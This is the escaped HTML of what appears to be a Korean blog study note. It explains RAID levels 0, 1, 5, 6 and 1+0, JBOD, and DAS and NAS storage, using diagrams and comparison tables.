&lt;p data-ke-size=&quot;size16&quot;&gt;- 100MB 데이터를 25MB 4개로 나눠서 저장, 속도는 4배 빠르지만 1개만 고장나도 데이터 읽기 불가&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;284&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpdpZX/btsNKsuzvRT/VWbm10YzYeYvZYBMmQLlG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpdpZX/btsNKsuzvRT/VWbm10YzYeYvZYBMmQLlG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpdpZX/btsNKsuzvRT/VWbm10YzYeYvZYBMmQLlG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpdpZX%2FbtsNKsuzvRT%2FVWbm10YzYeYvZYBMmQLlG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;284&quot; height=&quot;370&quot; data-origin-width=&quot;284&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 여러 디스크에 분산 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 같은 용량의 디스크로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 빠른 성능 / 장애 시 데이터 모두 손실됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 1: 데이터를 다른 디스크에 동일하게 중복 저장하여 안정성이 높지만 비용이 많이 듬&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 총 4TB 디스크를 각각 2TB로 미러링해서 사용, 실제 용량은 2TB&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9MSAQ/btsNMft1WnL/JxN1h2DeDUN1Q0AZR9cpqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9MSAQ/btsNMft1WnL/JxN1h2DeDUN1Q0AZR9cpqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9MSAQ/btsNMft1WnL/JxN1h2DeDUN1Q0AZR9cpqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9MSAQ%2FbtsNMft1WnL%2FJxN1h2DeDUN1Q0AZR9cpqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;301&quot; height=&quot;362&quot; data-origin-width=&quot;301&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 다른 디스크에 동일하게 중복 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 최소 2개 디스크 필요, 필요한 용량의 2배 준비&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 장애 대비에 유리하나 비용이 비쌈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 0 vs RAID 1&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 70px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 10.0775%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.6356%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.2868%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 10.0775%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;RAID 0&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.6356%; height: 16px;&quot;&gt;분산 저장으로 인해 읽기/쓰기 성능이 빠름&lt;/td&gt;
&lt;td style=&quot;width: 47.2868%; height: 16px;&quot;&gt;분산 저장으로 인해 디스크 1개만 고장나도 데이터 읽기 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 10.0775%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;RAID 1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.6356%; height: 16px;&quot;&gt;미러링으로 인해 1개 고장나도 사용 가능 (2개 중 1개는 백업 용도 - 장애 대비 유리)&lt;/td&gt;
&lt;td style=&quot;width: 47.2868%; height: 16px;&quot;&gt;미러링으로 인해 전체 용량의 50% 용량만 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 대표적인 RAID 방식 #2: RAID 5, RAID 6&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 5: 디스크에 패리티 정보를 저장해 장애 시 패리티를 토대로 복구할 수 있음, 일정 수준의 성능과 안정성 확보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ Parity(패리티): &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;데이터의 무결성과 복구를 위한 오류 검출 및 복구 정보, &lt;b&gt;디스크 장애 발생 시 데이터 복구할 수 있도록 도와줌&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mPXut/btsNKrvHuOL/nG9KUIU1YkTaLJkXYzYOoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mPXut/btsNKrvHuOL/nG9KUIU1YkTaLJkXYzYOoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mPXut/btsNKrvHuOL/nG9KUIU1YkTaLJkXYzYOoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmPXut%2FbtsNKrvHuOL%2FnG9KUIU1YkTaLJkXYzYOoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;351&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디스크마다 Parity(패리티) 정보 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디스크 장애 시 Parity 정보를 토대로 복구 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 최소 3개 디스크 필요, 보통 5개 이상 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 6: RAID 5 방식에 패리티를 하나 더 추가하여 안정성을 더욱 향상시킨 방법&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;331&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wAYuF/btsNLqW8me8/yZR4BmOMOxbJokmL7Na6Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wAYuF/btsNLqW8me8/yZR4BmOMOxbJokmL7Na6Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wAYuF/btsNLqW8me8/yZR4BmOMOxbJokmL7Na6Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwAYuF%2FbtsNLqW8me8%2FyZR4BmOMOxbJokmL7Na6Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;507&quot; height=&quot;331&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;331&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 5와 비슷하나 Parity 정보를 하나 더 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 5 구조에 데이터 복구 능력을 향상시킨 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그래서 성능은 RAID 5보다 조금 떨어짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디스크 최소 4개 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- RAID 5 vs RAID 6&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 70px;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center; width: 10.9302%;&quot;&gt;&lt;b&gt;방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center; width: 49.5349%;&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center; width: 39.4186%;&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; text-align: center; width: 10.9302%;&quot;&gt;&lt;b&gt;RAID 5&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.5349%;&quot;&gt;디스크에 패리티 정보를 저장해 장애 시 복구 가능(1개 디스크가 실패해도 데이터 복구 가능)&lt;/td&gt;
&lt;td style=&quot;width: 39.4186%;&quot;&gt;쓰기&amp;nbsp;작업&amp;nbsp;시&amp;nbsp;패리티&amp;nbsp;계산으로&amp;nbsp;인한&amp;nbsp;성능&amp;nbsp;저하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; text-align: center; width: 10.9302%;&quot;&gt;&lt;b&gt;RAID 6&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 49.5349%;&quot;&gt;디스크에 패리티 정보를 하나 더 저장해 장애 시 복구 가능(RAID 5 대비 복구 능력 향상 - 2개&amp;nbsp;디스크가 동시에 실패해도 데이터 복구 가능)&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; width: 39.4186%;&quot;&gt;RAID 5보다 읽기/쓰기 성능 떨어짐, RAID&amp;nbsp;5보다&amp;nbsp;더&amp;nbsp;높은&amp;nbsp;용량&amp;nbsp;손실&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 대표적인 RAID 방식 #3: RAID 1+0&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 1+0: RAID 0의 높은 성능과 RAID 1의 뛰어난 안정성을 합친 형태&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqVvOa/btsNLVbyhYp/K8bnK4IOUiW8qPqeZ3cy5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqVvOa/btsNLVbyhYp/K8bnK4IOUiW8qPqeZ3cy5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqVvOa/btsNLVbyhYp/K8bnK4IOUiW8qPqeZ3cy5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqVvOa%2FbtsNLVbyhYp%2FK8bnK4IOUiW8qPqeZ3cy5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;625&quot; height=&quot;418&quot; data-origin-width=&quot;625&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 0의 고성능 + RAID 1의 복구 능력을 합친 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 쓰기는 디스크 2개 성능, 읽기는 디스크 4개 성능 발휘&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전체 용량의 50%만 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 최소 4개 디스크 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 최하위 디스크 2개씩 미러링 후 스트라이핑 = &lt;b&gt;높은 성능 + 안정성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;JBOD&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JBOD: Just a Brunch of Disks(Drives), 2개 이상의 디스크를 하나의 디스크처럼 만들어 주는 것(Non-RAID)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 디스크의 용량을 단순히 이어 붙인 것으로, RAID 0과 같이 다수의 디스크를 사용한다고 성능이 향상되지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 과거 디스크 용량이 작았을 때 개별 디스크 용량보다 더 큰 용량의 데이터를 저장하기 위해 사용함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 구성된 디스크의 데이터가 가득차면 다음 디스크에 데이터를 기록하는 형태&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기존에 사용하던 스토리지의 용량을 늘리기 위해 디스크를 더 꽂을 수 없을 경우, 스토리지 하드웨어를 추가해 기존의 스토리지와 연경하는 용도로 주로 사용됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;819&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDDIZd/btsNJDRhmI1/IOqNrdJWYBlOLSnqJA5v1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDDIZd/btsNJDRhmI1/IOqNrdJWYBlOLSnqJA5v1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDDIZd/btsNJDRhmI1/IOqNrdJWYBlOLSnqJA5v1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDDIZd%2FbtsNJDRhmI1%2FIOqNrdJWYBlOLSnqJA5v1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;819&quot; height=&quot;389&quot; data-origin-width=&quot;819&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- JBOD로 연결하는 디스크의 용량이 같지 않아도 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디스크에 동시에 접근하지 않기 때문에 성능이 향상되지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;최초 구성한 스토리지 성능은 변하지 않으며, 용량만 늘어나는 형태&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RAID 0과는 달리, 디스크 장애 시 일부 복구 가능(최대 50%)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;스토리지 종류&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 종류: DAS(Direct Attached Storage), 직접 연결한 스토리지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버와 클라이언트가 &lt;b&gt;전용 케이블로 연결한 스토리지&lt;/b&gt;, 서버와 직접 연결하는 외장하드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전송 속도가 빠르고, 스토리지와 연결된 서버에서 개별적인 파일 시스템을 사용해 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DAS에 연결된 서버별로 관리해야 함, 3개 서버면 3개를 개별 관리(통합 관리 어려움), 서버에 부족한 저장 공간을 스토리지에 가져다가 쓴다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;376&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCAOc3/btsNKt791Yd/cY0bcIrh9iETo1XxykXo5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCAOc3/btsNKt791Yd/cY0bcIrh9iETo1XxykXo5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCAOc3/btsNKt791Yd/cY0bcIrh9iETo1XxykXo5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCAOc3%2FbtsNKt791Yd%2FcY0bcIrh9iETo1XxykXo5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1228&quot; height=&quot;376&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;376&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 종류: NAS(Network Attached Storage)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;데이터 공유를 위한 파일 서버 용도로 주로 사용&lt;/b&gt;되며 파일 스토리지라고도 불림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지 전용 OS로 데이터를 관리하는 독립적 다기능 스토리지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;네트워크로 파일 공유&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boIxKf/btsNJXWibUb/lEKspzhego2gbb7AwMSSk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boIxKf/btsNJXWibUb/lEKspzhego2gbb7AwMSSk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boIxKf/btsNJXWibUb/lEKspzhego2gbb7AwMSSk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboIxKf%2FbtsNJXWibUb%2FlEKspzhego2gbb7AwMSSk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1290&quot; height=&quot;454&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NAS 자체가 메인보드, CPU, RAM, 스토리지를 갖춘 하나의 서버 역할을 수행하기에&lt;b&gt; 파일 공유뿐만 아니라 다양한 서버 용도로 사용할 수 있음&lt;/b&gt;(멀티미디어 파일 재생, 웹사이트 운영 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스토리지가 하나의 네트워크 공유 드라이브로 독립적으로 동작&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/02AiG/btsNLs1M5Hv/dp9CA8DIV30URWxKhOTqR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/02AiG/btsNLs1M5Hv/dp9CA8DIV30URWxKhOTqR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/02AiG/btsNLs1M5Hv/dp9CA8DIV30URWxKhOTqR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F02AiG%2FbtsNLs1M5Hv%2Fdp9CA8DIV30URWxKhOTqR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;463&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트가 데이터에 접근하기 위해서는 반드시 네트워크 스위치를 거쳐 NAS에 접근해야 하기에 DAS 보다 데이터 전송 속도가 느림&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;503&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T4iM0/btsNLpqzTWZ/qJ03npi0Y4ZMsrIQYbe2Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T4iM0/btsNLpqzTWZ/qJ03npi0Y4ZMsrIQYbe2Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T4iM0/btsNLpqzTWZ/qJ03npi0Y4ZMsrIQYbe2Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT4iM0%2FbtsNLpqzTWZ%2FqJ03npi0Y4ZMsrIQYbe2Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;747&quot; height=&quot;503&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;503&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 전송 순서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 스위치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 스위치 &amp;rarr; NAS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. NAS &amp;rarr; 스위치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 스위치 &amp;rarr; 클라이언트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 역시 데이터에 접근하기 위해서는 반드시 네트워크 스위치를 거쳐 NAS에 접근해야 하기에 DAS보다 데이터 전송 속도가 느림&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbPRga/btsNL04WLYG/EWOFw1uYEbcCaYf4e6NLnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbPRga/btsNL04WLYG/EWOFw1uYEbcCaYf4e6NLnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbPRga/btsNL04WLYG/EWOFw1uYEbcCaYf4e6NLnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbPRga%2FbtsNL04WLYG%2FEWOFw1uYEbcCaYf4e6NLnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;556&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 전송 순서&lt;/p&gt;
